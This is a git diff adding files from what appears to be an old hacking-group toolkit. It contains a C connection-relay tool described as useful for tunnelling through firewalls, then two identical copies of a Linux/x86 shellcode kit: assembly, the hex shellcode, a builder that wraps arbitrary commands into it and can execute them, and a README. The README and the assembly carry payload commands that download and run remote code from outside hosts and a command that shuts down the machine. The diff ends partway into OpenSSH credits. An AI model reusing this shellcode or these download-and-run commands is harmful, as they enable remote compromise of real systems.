*dst + ml, NET_BSIZE); + if (read_bytes == 0) { + *dst = (char *) realloc(*dst, ml); + if ((*dst == NULL) && (ml == 0)) { + return (1); + } else if (*dst == NULL) { + return (-1); + } else { + return (ml); + } + } + } + return (-1); +} + + +int +net_rbuft (int fd, char *dst, unsigned long int dsize) +{ + unsigned long int bl = 0, m; + int p; + + while (bl < dsize) { + p = net_rtimeout(fd, net_readtimeout); + if ((p == 0) || (p == -1)) { + return (-1); + } + + m = read(fd, dst + bl, (dsize - bl)); + if ((m == 0) || (m == -1)) { + return (-1); + } + bl += m; + } + return (1); +} + + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + + +void +net_write (int fd, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start(vl, str); + memset(tmp, 0, sizeof(tmp)); + i = vsnprintf(tmp, sizeof(tmp), str, vl); + va_end(vl); + +#ifdef DEBUG + printf("[snd] %s\n", tmp); +#endif + + send(fd, tmp, i, 0); + return; +} + diff --git a/other/reverb/network.h b/other/reverb/network.h new file mode 100644 index 0000000..8dc816d --- /dev/null +++ b/other/reverb/network.h @@ -0,0 +1,140 @@ +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking code + */ + +#include +#include +#include +#include + +#ifndef SCUT_NETWORK_H +#define SCUT_NETWORK_H + +#define NET_READTIMEOUT 180 +#define NET_CONNTIMEOUT 60 + + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; + + +/* net_parseip + * + * reads an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * returns 0 on failure + * returns 1 on success + */ +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_accept + * accepts a connection from socket s, and stores the connection + * into cs. + * wait a maximum amount of maxsec seconds for connections + * maxsec can also be zero (infinite wait, until connection) + * + * returns 0 if no connection has been made within maxsec seconds + * returns -1 if an error appears + * returns the socket number if a connection has been made + */ + +int net_accept (int s, struct sockaddr_in *cs, int maxsec); + + +/* net_bind + * binds a socket to an ip:port on the local machine, + * ip can be either NULL (bind to all IP's on the host), or a pointer + * to a virtual host name, or a real IP, or "*" for any. + * port can be either 0 (ephemeral port), or any free port. + * + * returns NULL on failure + * pointer to bound structure on success + */ +bound *net_bind (char *ip, unsigned short int port); +void net_boundfree (bound *bf); + + +/* net_resolve + * resolves host into s_addr + */ +unsigned long int net_resolve(char *host); + + +/* net_connect + * connects to the given server and port with a max timeout of sec + * initializes the sockaddr_in struct correctly (ipv4), accepts any + * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname + * creates a new socket and returns either -1 if failed or + * the socket if connection has been established within the timeout limit + * routine is still IPv4 biased :-/ + * with sourceip/sourceport you MAY specify the source IP and source port + * to use for the connection, but you can set the ip or port to NULL/0, + * to choose the default IP and an ephemeral port. this was added later in + * this library, so please update your sources. + * + * returns -1 on failure + * returns socket if success + */ +int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); + + +/* net_rtimeout + * waits max seconds for fd to become readable + * returns -1 on error (errno set) + * returns 1 on readability + */ +int net_rtimeout(int fd, int sec); + + +/* net_rbuf + * allocates memory and reads to *dst until connection close + * returns n if success (n = number of bytes read) + * returns -1 if failed + */ +long int net_rbuf(int fd, char **dst); +#define NET_BSIZE 4096 + + +/* net_rbuft + * reads dsize bytes into dst from fd, with timeout + * returns 1 on success + * returns -1 on failure + */ +int net_rbuft(int fd, char *dst, unsigned long int dsize); + + +/* net_rlinet + * reads a line from socket descriptor with timeout to buffer + * if sec = 0, then only a continuous stream of data is required, not + * an overall timeout. + * returns -1 on timeout + * returns 0 on connection close + * returns length of readen line (including '\n') + */ +int net_rlinet(int fd, char *buf, int bufsize, int sec); + + +/* net_tline + * returns length if string contains '\n' + * returns -1 if no '\n' in string + */ +int net_tline(char *buf, int bufsize); + + +/* net_write + * prints a formatted string to a socket + */ +void net_write(int fd, const char *str, ...); + +#endif + diff --git a/other/reverb/reverb.c b/other/reverb/reverb.c new file mode 100644 index 0000000..f8007b8 --- /dev/null +++ b/other/reverb/reverb.c @@ -0,0 +1,491 @@ + +/* reverb - connection relay utility + * + * use it to bounce a connection (datapipe), chat with your friends, + * interactivly use a active service, tunnel a firewall, bridge a proxy + * from a protected net together with httptunnel, playing around, + * ... use it for whatever you want :) + * + * 1999-2000 (c) scut of amazing team teso + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#if !defined(__FreeBSD__) +# include +#endif +#include "network.h" + + +#define VERSION "0.1.0" +#define AUTHORS "scut of team teso" + +void usage (void); +void banner (void); +void quit (void); +void relay (int s1, int s2); +int rly_buff (int srcsock, int dstsock); +long int timestr_parse (char *timestr); +void go_daemon (void); +pid_t z_fork (void); + +#define ACTIVE 1 +#define PASSIVE 2 +#define RELAY 3 + +int do_daemon = 0, + do_quiet = 0, + do_respawn = 0; +int o_mode; + +/* active data + */ +char * pair_one; +char * pair_two; +char *a_ip1, *a_ip2; +unsigned short int a_p1, a_p2; +int s_1, s_2; +struct sockaddr_in sa_1, sa_2; + +long int timeout_connection = 30; +long int timeout_listening = 0; + +long int time_instancing = 0; + +/* passive data + */ +bound *b1, *b2; + +int +main (int argc, char **argv) +{ + char c; + pid_t pid_inst; + int n; /* temporary return value */ + + banner (); + + if (argc < 3) + usage (); + + + while ((c = getopt (argc, argv, "c:l:dqi:r")) != EOF) { + switch (c) { + case 'c': + timeout_connection = timestr_parse (optarg); + break; + case 'l': + timeout_listening = timestr_parse (optarg); + break; + case 'd': + do_daemon = 1; + /* FALLTHROUGH */ + case 'q': + do_quiet = 1; + break; + case 'i': + time_instancing = timestr_parse (optarg); + if (time_instancing <= 0) + usage (); + break; + case 'r': + do_respawn = 1; + break; + default: + usage (); + break; + } + } + + if (argc - optind != 2) + usage (); + + pair_one = argv[optind]; + pair_two = argv[optind + 1]; + + if (strchr (pair_one, ':') != NULL && strchr (pair_two, ':') != NULL) { + o_mode = ACTIVE; + } else if (strchr (pair_one, ':') == NULL && strchr (pair_two, ':') == NULL) { + o_mode = PASSIVE; + } else if (strchr (pair_one, ':') == NULL && strchr (pair_two, ':') != NULL) { + o_mode = RELAY; + } else { + usage (); + } + + + /* instancing only possible in active (ie connecting) modes + */ + if (o_mode != ACTIVE && time_instancing != 0) { + fprintf (stderr, "instancing only possible in active (connecting) modes\n"); + exit (EXIT_FAILURE); + } + + /* silence, please + */ + if (do_quiet) { + stdout = freopen ("/dev/null", "w", stdin); + stderr = freopen ("/dev/null", "w", stderr); + } + + /* go daemon if we should + */ + if (do_daemon) + go_daemon (); + + if (time_instancing != 0) { + for (;;) { + pid_inst = z_fork (); + if (pid_inst < 0) { + perror ("fork"); + exit (EXIT_FAILURE); + } + + if (pid_inst == 0) + goto instance_entry; /* XXX: valid use of goto ? */ + + sleep (time_instancing); + } + } + +instance_entry: + + + /* build to connected sockets, then pass them to relay function + */ + + if (o_mode == ACTIVE) { + if (net_parseip (pair_one, &a_ip1, &a_p1) == 0 || + net_parseip (pair_two, &a_ip2, &a_p2) == 0) + usage (); + + printf ("connecting to %s:%hu\n", a_ip1, a_p1); + s_1 = net_connect (&sa_1, a_ip1, a_p1, timeout_connection); + + if (s_1 != -1) { + printf ("connecting to %s:%hu\n", a_ip2, a_p2); + s_2 = net_connect (&sa_2, a_ip2, a_p2, timeout_connection); + } + + if (s_1 == -1 || s_2 == -1) + perror ("connections failed: "); + + } else if (o_mode == PASSIVE) { + + fd_set ac_s; + int acp_sock, rj_sock; + + struct timeval * tv_p = NULL; + struct timeval tv_list; + + if (timeout_listening != 0) { + tv_p = &tv_list; + + memset (&tv_list, '\x00', sizeof (tv_list)); + tv_list.tv_sec = timeout_listening; + tv_list.tv_usec = 0; + } + + b1 = net_bind (NULL, atoi (pair_one)); + if (b1 != NULL) + b2 = net_bind (NULL, atoi (pair_two)); + + if (b1 == NULL || b2 == NULL) + perror ("binding failed: "); + + FD_ZERO (&ac_s); + FD_SET (b1->bs, &ac_s); + FD_SET (b2->bs, &ac_s); + + n = select ((b1->bs > b2->bs) ? (b1->bs + 1) : (b2->bs + 1), + &ac_s, NULL, NULL, tv_p); + + if (n == 0) { + fprintf (stderr, "passive sleeping timeouted\n"); + exit (EXIT_FAILURE); + } else if (n < 0) { + perror ("passive sleeping failed: "); + exit (EXIT_FAILURE); + } + acp_sock = FD_ISSET (b1->bs, &ac_s) ? b1->bs : b2->bs; + rj_sock = acp_sock == b1->bs ? b2->bs : b1->bs; + + printf ("waiting for connection [%d] on port %hu\n", b1->bs, atoi (pair_one)); + s_1 = net_accept (acp_sock, &sa_1, timeout_listening); + printf ("connection 1 established\n"); + if (s_1 > 0) { + printf ("waiting for connection [%d] on port %hu\n", b2->bs, atoi (pair_two)); + s_2 = net_accept (rj_sock, &sa_2, timeout_listening); + printf ("connection 2 established\n"); + } + + if (s_1 <= 0 || s_2 <= 0) + perror ("failed to accept connection: "); + + } else { + if (net_parseip (pair_two, &a_ip1, &a_p1) == 0) + usage (); + + b1 = net_bind (NULL, atoi (pair_one)); + if (b1 == NULL) + perror ("binding failed: "); + printf ("waiting for connection [%d] on port %hu\n", b1->bs, atoi (pair_one)); + +respawn_lbl: + s_1 = net_accept (b1->bs, &sa_1, timeout_listening); + if (s_1 <= 0) { + if (s_1 == 0) { + fprintf (stderr, "accepting timeouted\n"); + } else { + perror ("accepting of an incoming connection failed: "); + } + exit (EXIT_FAILURE); + } + printf ("connection 1 established\n"); + + if (do_respawn) { + pid_t cpid = z_fork (); + + if (cpid == -1) { + perror ("fork"); + exit (EXIT_FAILURE); + } else if (cpid > 0) { + close (s_1); + goto respawn_lbl; + } + } + + s_2 = net_connect (&sa_2, a_ip1, a_p1, timeout_connection); + if (s_2 == -1) + perror ("connection failed: "); + } + + printf ("connections successfully established\n"); + printf ("relaying initiated\n"); + + relay (s_1, s_2); + + /* should never happen */ + return (0); +} + + +void +usage (void) +{ + printf ("usage: reverb [options] [ip1:] [ip2:]\n\n" + "options\n" + " -c time connecting timeout (default: 30 seconds)\n" + " -l time listening timeout (default: infinite)\n" + " -d daemon mode, detach and be quiet ;)\n" + " -q quiet operation\n" + "\n" + "only in \"active <-> active\" mode\n" + " -i time initiate an instance every once a time, must be > 0s\n" + "\n" + "only in \"active -> listening\" mode\n" + " -r respawning mode, fork off once a connection comes in\n" + "\n" + "1. case: create a connection between ip1:port and ip2:port\n" + "2. case: accept a connection from port1 and from port2 and relay\n" + "3. case: accept a connection from port1 and relay it to ip2 on port2 (datapipe)\n" + "\n" + "times are given like this \"40m\" (40 minutes), \"10\" (10 seconds),\n" + "\"2m30s\" (150 seconds). available are d(ays), h(ours), m(inutes), s(econds).\n" + "\n"); + + exit (EXIT_FAILURE); +} + +void +banner (void) +{ + printf("reverb v"VERSION" by "AUTHORS"\n\n"); + + return; +} + + +void +relay (int s_1, int s_2) +{ + int n, i = 0, maxfd; + int bc = 1; + fd_set chainset; + + if (s_1 < 0 || s_2 < 0) { + fprintf (stderr, "relay received: s_1 = %d, s_2 = %d, aborting.\n", + s_1, s_2); + exit (EXIT_FAILURE); + } + + while (bc) { + FD_ZERO (&chainset); + FD_SET (s_1, &chainset); + FD_SET (s_2, &chainset); + maxfd = ((s_1 > s_2) ? s_1 : s_2) + 1; + + n = select (maxfd, &chainset, NULL, NULL, NULL); + switch (n) { + case (0): break; + case (-1): goto bncclss; + default: if (FD_ISSET (s_1, &chainset)) { + i = rly_buff (s_1, s_2); + if (i <= 0) + bc = 0; + } else if (FD_ISSET (s_2, &chainset)) { + i = rly_buff (s_2, s_1); + if (i <= 0) + bc = 0; + } + break; + } + } + +bncclss: + close (s_1); + close (s_2); + return; +} + + +int +rly_buff (int srcsock, int dstsock) +{ + int n = 1; + unsigned char tbuff[1024]; + + + n = read (srcsock, tbuff, sizeof (tbuff)); + + if (n == 0) { + return (0); + } if (n == -1) { + exit (EXIT_FAILURE); + } + + write (dstsock, tbuff, n); + + return (n); +} + + +/* timestr_parse + * + * parse the string passed through `timestr' according to this rules: + * + * ()+ + * number: 0-MAX_INT + * type: d (days), h (hours), m (minutes), s (seconds) + * + * convert all data to seconds and return the sum. + * print usage in case of failure + */ + +long int +timestr_parse (char *timestr) +{ + long int cur_nr = 0; + long int sum_sec = 0; + + + if (timestr == NULL || strlen (timestr) == 0) + return (0); + + while (*timestr != '\x00') { + if (*timestr >= '0' && *timestr <= '9') { + cur_nr *= 10; + cur_nr += *timestr - '0'; + } else { + switch (*timestr) { + case 'd': + sum_sec += cur_nr * (24 * 60 * 60); + break; + case 'h': + sum_sec += cur_nr * (60 * 60); + break; + case 'm': + sum_sec += cur_nr * 60; + break; + case 's': + sum_sec += cur_nr; + break; + default: + usage (); + break; + } + cur_nr = 0; + } + + timestr += 1; + } + + /* a type was missing -> seconds + */ + if (cur_nr != 0) + sum_sec += cur_nr; + + return (sum_sec); +} + + +void +go_daemon (void) +{ + pid_t pid; + + + pid = z_fork (); + + if (pid < 0) { + perror ("fork"); + exit (EXIT_FAILURE); + } + + if (pid != 0) + exit (EXIT_SUCCESS); + + /* in child only */ + return; +} + + +pid_t +z_fork (void) +{ + pid_t pid; + + pid = fork (); + if (pid < 0) { + return (pid); + } else if (pid == 0) { + /* let the child fork again + */ + + pid = fork (); + if (pid < 0) { + return (pid); + } else if (pid > 0) { + /* let the child and parent of the second child + * exit + */ + exit (EXIT_SUCCESS); + } + + return (0); + } + + waitpid (pid, NULL, 0); + + return (pid); +} diff --git a/other/shell/README b/other/shell/README new file mode 100644 index 0000000..b6fbeaa --- /dev/null +++ b/other/shell/README @@ -0,0 +1,38 @@ + +gcc -o shellxp shellxp.c + +./shellxp commands ... + +or to exec the generated shellcode + +./shellxp exec commands ... + + +either rip the sc_build routine into your exploits to directly create the +shellcode on the fly, or prepare it. + +some examples: + +./shellxp /bin/sh -c "lynx -source 1.1.1.1/a>a;chmod +x a;./a" +./shellxp /bin/sh -c "echo haha > /tmp/owned" +./shellxp /sbin/shutdown -h now + +or especially fancy ;-) + +./shellxp /bin/sh -c "((echo GET /test/ HTTP/1.0;echo;sleep 5)|telnet www.foo.org 80)|uudecode;/tmp/run.sh" + + (where /test/index.html is an uuencoded file that will uudecode to an executeable /tmp/run.sh file) + modify the "sleep 5" to an appropiate value to allow the file to get retrieved :-) + +(imagine some other fancy stuff in here :-) +... + +-scut/teso. + + +to modify the shellcode, use: + +gcc -o shellcode shellcode.c sc.s +./shellcode <-- will dump the code +./shellcode foo <-- will dump and run the code + diff --git a/other/shell/sc.s b/other/shell/sc.s new file mode 100644 index 0000000..6133b3e --- /dev/null +++ b/other/shell/sc.s @@ -0,0 +1,51 @@ +/* 38 byte arbitrary execve PIC linux/x86 shellcode - scut/teso */ + +.data +.globl cbegin +.globl cend + +cbegin: + + jmp jahead + +docall: + pop %edi + + movl %edi, %esp + not %sp /* build new stack frame */ + + xorl %eax, %eax /* read number of arguments */ + movb (%edi), %al + inc %edi + +decl1: push %edi +decl2: scasb /* search delim bytes */ + jnz decl2 + + movb %ah, -1(%edi) + dec %eax + jnz decl1 + + pop %ebx /* pathname */ + push %ebx + + push %eax + pop %edx /* esp -= 4, edx = &envp[] = NULL */ + movl %esp, %ecx /* ecx = &argv[] */ + + movb $11, %al + int $0x80 + +jahead: call docall + +/* reverse order arguments */ +.byte 0x03 /* number of arguments */ +.ascii "lynx -source 123.123.123.123/a>a;chmod +x a;echo ./a" +.byte 0x03 +.ascii "-c" +.byte 0x02 +.ascii "/bin/sh" +.byte 0x01 + +cend: + diff --git a/other/shell/shellcode.c b/other/shell/shellcode.c new file mode 100644 index 0000000..1fc68cf --- /dev/null +++ b/other/shell/shellcode.c @@ -0,0 +1,46 @@ +/* shellcode extraction utility, + * by type / teso, small mods by scut. + */ + + +#include +#include + +extern void cbegin (); +extern void cend (); + + +int +main (int argc, char *argv[]) +{ + int i; + unsigned char * buf = (unsigned char *) cbegin; + unsigned char ex_buf[1024]; + + + printf ("/* %d byte shellcode */\n", cend - cbegin); + printf ("\""); + for (i = 0 ; buf < (unsigned char *) cend; ++buf) { + + printf ("\\x%02x", *buf & 0xff); + + if (++i >= 12) { + i = 0; + printf ("\"\n\""); + } + } + printf ("\";\n"); + + printf("\n"); + + if (argc > 1) { + printf ("%02x\n", ((unsigned char *) cbegin)[0]); + printf ("%02x\n", ex_buf[0]); + memcpy (ex_buf, cbegin, cend - cbegin); + printf ("%02x\n", ex_buf[0]); + ((void (*)()) &ex_buf)(); + } + + exit (EXIT_SUCCESS); +} + diff --git a/other/shell/shellxp b/other/shell/shellxp new file mode 100755 index 0000000..c52acb2 Binary files /dev/null and b/other/shell/shellxp differ diff --git a/other/shell/shellxp.c b/other/shell/shellxp.c new file mode 100644 index 0000000..4d5916b --- /dev/null +++ b/other/shell/shellxp.c @@ -0,0 +1,130 @@ + +#include +#include +#include +#include +#include + + +/* 38 byte x86/linux PIC arbitrary execute shellcode - scut / teso + */ +unsigned char shellcode[] = + "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" + "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" + "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" + "\xff\xff"; + +static int sc_build (unsigned char *target, size_t target_len, + unsigned char *shellcode, char **argv); + +void hexdump (unsigned char *cbegin, unsigned char *cend); + + +static int +sc_build (unsigned char *target, size_t target_len, unsigned char *shellcode, + char **argv) +{ + int i; + size_t tl_orig = target_len; + + + if (strlen (shellcode) >= (target_len - 1)) + return (-1); + + memcpy (target, shellcode, strlen (shellcode)); + target += strlen (shellcode); + target_len -= strlen (shellcode); + + for (i = 0 ; argv[i] != NULL ; ++i) + ; + + /* set argument count + */ + target[0] = (unsigned char) i; + target++; + target_len--; + + for ( ; i > 0 ; ) { + i -= 1; + + if (strlen (argv[i]) >= target_len) + return (-1); + + printf ("[%3d/%3d] adding (%2d): %s\n", + (tl_orig - target_len), tl_orig, + strlen (argv[i]), argv[i]); + + memcpy (target, argv[i], strlen (argv[i])); + target += strlen (argv[i]); + target_len -= strlen (argv[i]); + + target[0] = (unsigned char) (i + 1); + target++; + target_len -= 1; + } + + return (tl_orig - target_len); +} + + +void +hexdump (unsigned char *cbegin, unsigned char *cend) +{ + int i; + unsigned char * buf = cbegin; + + + printf ("/* %d byte shellcode */\n", cend - cbegin); + printf ("\""); + + for (i = 0 ; buf < cend; ++buf) { + + printf ("\\x%02x", *buf & 0xff); + + if (++i >= 12) { + i = 0; + printf ("\"\n\""); + } + } + printf ("\";\n\n"); +} + + +int +main (int argc, char *argv[]) +{ + int n; + unsigned char tbuf[2048]; + void (* tbuf_f)(void) = (void *) tbuf; + + + printf ("build exploit shellcode\n"); + printf ("-scut / teso.\n\n"); + + if (argc < 2) { + printf ("usage: %s [exec] commands ...\n\n", + argv[0]); + + exit (EXIT_FAILURE); + } + + printf ("constructing shellcode...\n\n"); + memset (tbuf, '\x00', sizeof (tbuf)); + if (strcmp (argv[1], "exec") == 0) + n = sc_build (tbuf, sizeof (tbuf), shellcode, &argv[2]); + else + n = sc_build (tbuf, sizeof (tbuf), shellcode, &argv[1]); + if (n == -1) { + printf ("failed to build it.\n"); + exit (EXIT_FAILURE); + } + + printf ("shellcode size: %d bytes\n\n", n); + hexdump (tbuf, tbuf + n); + + if (strcmp (argv[1], "exec") == 0) + tbuf_f (); + + exit (EXIT_SUCCESS); +} + diff --git a/other/shellgen/README b/other/shellgen/README new file mode 100644 index 0000000..b6fbeaa --- /dev/null +++ b/other/shellgen/README @@ -0,0 +1,38 @@ + +gcc -o shellxp shellxp.c + +./shellxp commands ... + +or to exec the generated shellcode + +./shellxp exec commands ... + + +either rip the sc_build routine into your exploits to directly create the +shellcode on the fly, or prepare it. + +some examples: + +./shellxp /bin/sh -c "lynx -source 1.1.1.1/a>a;chmod +x a;./a" +./shellxp /bin/sh -c "echo haha > /tmp/owned" +./shellxp /sbin/shutdown -h now + +or especially fancy ;-) + +./shellxp /bin/sh -c "((echo GET /test/ HTTP/1.0;echo;sleep 5)|telnet www.foo.org 80)|uudecode;/tmp/run.sh" + + (where /test/index.html is an uuencoded file that will uudecode to an executeable /tmp/run.sh file) + modify the "sleep 5" to an appropiate value to allow the file to get retrieved :-) + +(imagine some other fancy stuff in here :-) +... + +-scut/teso. + + +to modify the shellcode, use: + +gcc -o shellcode shellcode.c sc.s +./shellcode <-- will dump the code +./shellcode foo <-- will dump and run the code + diff --git a/other/shellgen/sc.s b/other/shellgen/sc.s new file mode 100644 index 0000000..6133b3e --- /dev/null +++ b/other/shellgen/sc.s @@ -0,0 +1,51 @@ +/* 38 byte arbitrary execve PIC linux/x86 shellcode - scut/teso */ + +.data +.globl cbegin +.globl cend + +cbegin: + + jmp jahead + +docall: + pop %edi + + movl %edi, %esp + not %sp /* build new stack frame */ + + xorl %eax, %eax /* read number of arguments */ + movb (%edi), %al + inc %edi + +decl1: push %edi +decl2: scasb /* search delim bytes */ + jnz decl2 + + movb %ah, -1(%edi) + dec %eax + jnz decl1 + + pop %ebx /* pathname */ + push %ebx + + push %eax + pop %edx /* esp -= 4, edx = &envp[] = NULL */ + movl %esp, %ecx /* ecx = &argv[] */ + + movb $11, %al + int $0x80 + +jahead: call docall + +/* reverse order arguments */ +.byte 0x03 /* number of arguments */ +.ascii "lynx -source 123.123.123.123/a>a;chmod +x a;echo ./a" +.byte 0x03 +.ascii "-c" +.byte 0x02 +.ascii "/bin/sh" +.byte 0x01 + +cend: + diff --git a/other/shellgen/shellcode.c b/other/shellgen/shellcode.c new file mode 100644 index 0000000..1fc68cf --- /dev/null +++ b/other/shellgen/shellcode.c @@ -0,0 +1,46 @@ +/* shellcode extraction utility, + * by type / teso, small mods by scut. + */ + + +#include +#include + +extern void cbegin (); +extern void cend (); + + +int +main (int argc, char *argv[]) +{ + int i; + unsigned char * buf = (unsigned char *) cbegin; + unsigned char ex_buf[1024]; + + + printf ("/* %d byte shellcode */\n", cend - cbegin); + printf ("\""); + for (i = 0 ; buf < (unsigned char *) cend; ++buf) { + + printf ("\\x%02x", *buf & 0xff); + + if (++i >= 12) { + i = 0; + printf ("\"\n\""); + } + } + printf ("\";\n"); + + printf("\n"); + + if (argc > 1) { + printf ("%02x\n", ((unsigned char *) cbegin)[0]); + printf ("%02x\n", ex_buf[0]); + memcpy (ex_buf, cbegin, cend - cbegin); + printf ("%02x\n", ex_buf[0]); + ((void (*)()) &ex_buf)(); + } + + exit (EXIT_SUCCESS); +} + diff --git a/other/shellgen/shellxp b/other/shellgen/shellxp new file mode 100755 index 0000000..c52acb2 Binary files /dev/null and b/other/shellgen/shellxp differ diff --git a/other/shellgen/shellxp.c b/other/shellgen/shellxp.c new file mode 100644 index 0000000..4d5916b --- /dev/null +++ b/other/shellgen/shellxp.c @@ -0,0 +1,130 @@ + +#include +#include +#include +#include +#include + + +/* 38 byte x86/linux PIC arbitrary execute shellcode - scut / teso + */ +unsigned char shellcode[] = + "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" + "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" + "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" + "\xff\xff"; + +static int sc_build (unsigned char *target, size_t target_len, + unsigned char *shellcode, char **argv); + +void hexdump (unsigned char *cbegin, unsigned char *cend); + + +static int +sc_build (unsigned char *target, size_t target_len, unsigned char *shellcode, + char **argv) +{ + int i; + size_t tl_orig = target_len; + + + if (strlen (shellcode) >= (target_len - 1)) + return (-1); + + memcpy (target, shellcode, strlen (shellcode)); + target += strlen (shellcode); + target_len -= strlen (shellcode); + + for (i = 0 ; argv[i] != NULL ; ++i) + ; + + /* set argument count + */ + target[0] = (unsigned char) i; + target++; + target_len--; + + for ( ; i > 0 ; ) { + i -= 1; + + if (strlen (argv[i]) >= target_len) + return (-1); + + printf ("[%3d/%3d] adding (%2d): %s\n", + (tl_orig - target_len), tl_orig, + strlen (argv[i]), argv[i]); + + memcpy (target, argv[i], strlen (argv[i])); + target += strlen (argv[i]); + target_len -= strlen (argv[i]); + + target[0] = (unsigned char) (i + 1); + target++; + target_len -= 1; + } + + return (tl_orig - target_len); +} + + +void +hexdump (unsigned char *cbegin, unsigned char *cend) +{ + int i; + unsigned char * buf = cbegin; + + + printf ("/* %d byte shellcode */\n", cend - cbegin); + printf ("\""); + + for (i = 0 ; buf < cend; ++buf) { + + printf ("\\x%02x", *buf & 0xff); + + if (++i >= 12) { + i = 0; + printf ("\"\n\""); + } + } + printf ("\";\n\n"); +} + + +int +main (int argc, char *argv[]) +{ + int n; + unsigned char tbuf[2048]; + void (* tbuf_f)(void) = (void *) tbuf; + + + printf ("build exploit shellcode\n"); + printf ("-scut / teso.\n\n"); + + if (argc < 2) { + printf ("usage: %s [exec] commands ...\n\n", + argv[0]); + + exit (EXIT_FAILURE); + } + + printf ("constructing shellcode...\n\n"); + memset (tbuf, '\x00', sizeof (tbuf)); + if (strcmp (argv[1], "exec") == 0) + n = sc_build (tbuf, sizeof (tbuf), shellcode, &argv[2]); + else + n = sc_build (tbuf, sizeof (tbuf), shellcode, &argv[1]); + if (n == -1) { + printf ("failed to build it.\n"); + exit (EXIT_FAILURE); + } + + printf ("shellcode size: %d bytes\n\n", n); + hexdump (tbuf, tbuf + n); + + if (strcmp (argv[1], "exec") == 0) + tbuf_f (); + + exit (EXIT_SUCCESS); +} + diff --git a/other/ssharp/CREDITS b/other/ssharp/CREDITS new file mode 100644 index 0000000..3851a16 --- /dev/null +++ b/other/ssharp/CREDITS @@ -0,0 +1,92 @@ +Tatu Ylonen - Creator of SSH + +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt, and Dug Song - Creators of OpenSSH + +Alain St-Denis - Irix fix +Alexandre Oliva - AIX fixes +Andre Lucas - new login code, many fixes +Andreas Steinmetz - Shadow password expiry support +Andrew McGill - SCO fixes +Andrew Morgan - PAM bugfixes +Andrew Stribblehill - Bugfixes +Andy Sloane - bugfixes +Aran Cox - SCO bugfixes +Arkadiusz Miskiewicz - IPv6 compat fixes +Ben Lindstrom - NeXT support +Ben Taylor - Solaris debugging and fixes +Bratislav ILICH - Configure fix +Charles Levert - SunOS 4 & bug fixes +Chip Salzenberg - Assorted patches +Chris Adams - OSF SIA support +Chris Saia - SuSE packaging +Chris, the Young One - Password auth fixes +Christos Zoulas - Autoconf fixes +Chun-Chung Chen - RPM fixes +Corinna Vinschen - Cygwin support +Dan Brosemer - Autoconf support, build fixes +Darren Hall - AIX patches +David Agraz - Build fixes +David Del Piero - bug fixes +David Hesprich - Configure fixes +David Rankin - libwrap, AIX, NetBSD fixes +Ed Eden - configure fixes +Garrick James - configure fixes +Gary E. Miller - SCO support +Ged Lodder - HPUX fixes and enhancements +Gert Doering - bug and portability fixes +HARUYAMA Seigo - Translations & doc fixes +Hideaki YOSHIFUJI - IPv6 and bug fixes +Hiroshi Takekawa - Configure fixes +Holger Trapp - KRB4/AFS config patch +IWAMURO Motonori - bugfixes +Jani Hakala - Patches +Jarno Huuskonen - Bugfixes +Jim Knoble - Many patches +Jonchen (email unknown) - the original author of PAM support of SSH +Juergen Keil - scp bugfixing +KAMAHARA Junzo - Configure fixes +Kees Cook - scp fixes +Kenji Miyake - Configure fixes +Kevin O'Connor - RSAless operation +Kevin Steves - HP support, bugfixes, improvements +Kiyokazu SUTO - Bugfixes +Larry Jones - Bugfixes +Lutz Jaenicke - Bugfixes +Marc G. Fournier - Solaris patches +Martin Johansson - Linux fixes +Mark D. Roth - Features, bug fixes +Mark Miller - Bugfixes +Matt Richards - AIX patches +Michael Stone - Irix enhancements +Nakaji Hiroyuki - Sony News-OS patch +Nalin Dahyabhai - PAM environment patch +Nate Itkin - SunOS 4.1.x fixes +Niels Kristian Bech Jensen - Assorted patches +Pavel Kankovsky - Security fixes +Pavel Troller - Bugfixes +Pekka Savola - Bugfixes +Peter Kocks - Makefile fixes +Phil Hands - Debian scripts, assorted patches +Phil Karn - Autoconf fixes +Philippe WILLEM - Bugfixes +Phill Camp - login code fix +Rip Loomis - Solaris package support, fixes +SAKAI Kiyotaka - Multiple bugfixes +Simon Wilkinson - PAM fixes +Svante Signell - Bugfixes +Thomas Neumann - Shadow passwords +Tim Rice - Portability & SCO fixes +Tobias Oetiker - Bugfixes +Tom Bertelson's - AIX auth fixes +Tor-Ake Fransson - AIX support +Tudor Bosman - MD5 password support +Udo Schweigert - ReliantUNIX support +Zack Weinberg - GNOME askpass enhancement + +Apologies to anyone I have missed. + +Damien Miller + +$Id: CREDITS,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ + diff --git a/other/ssharp/CVS/Entries 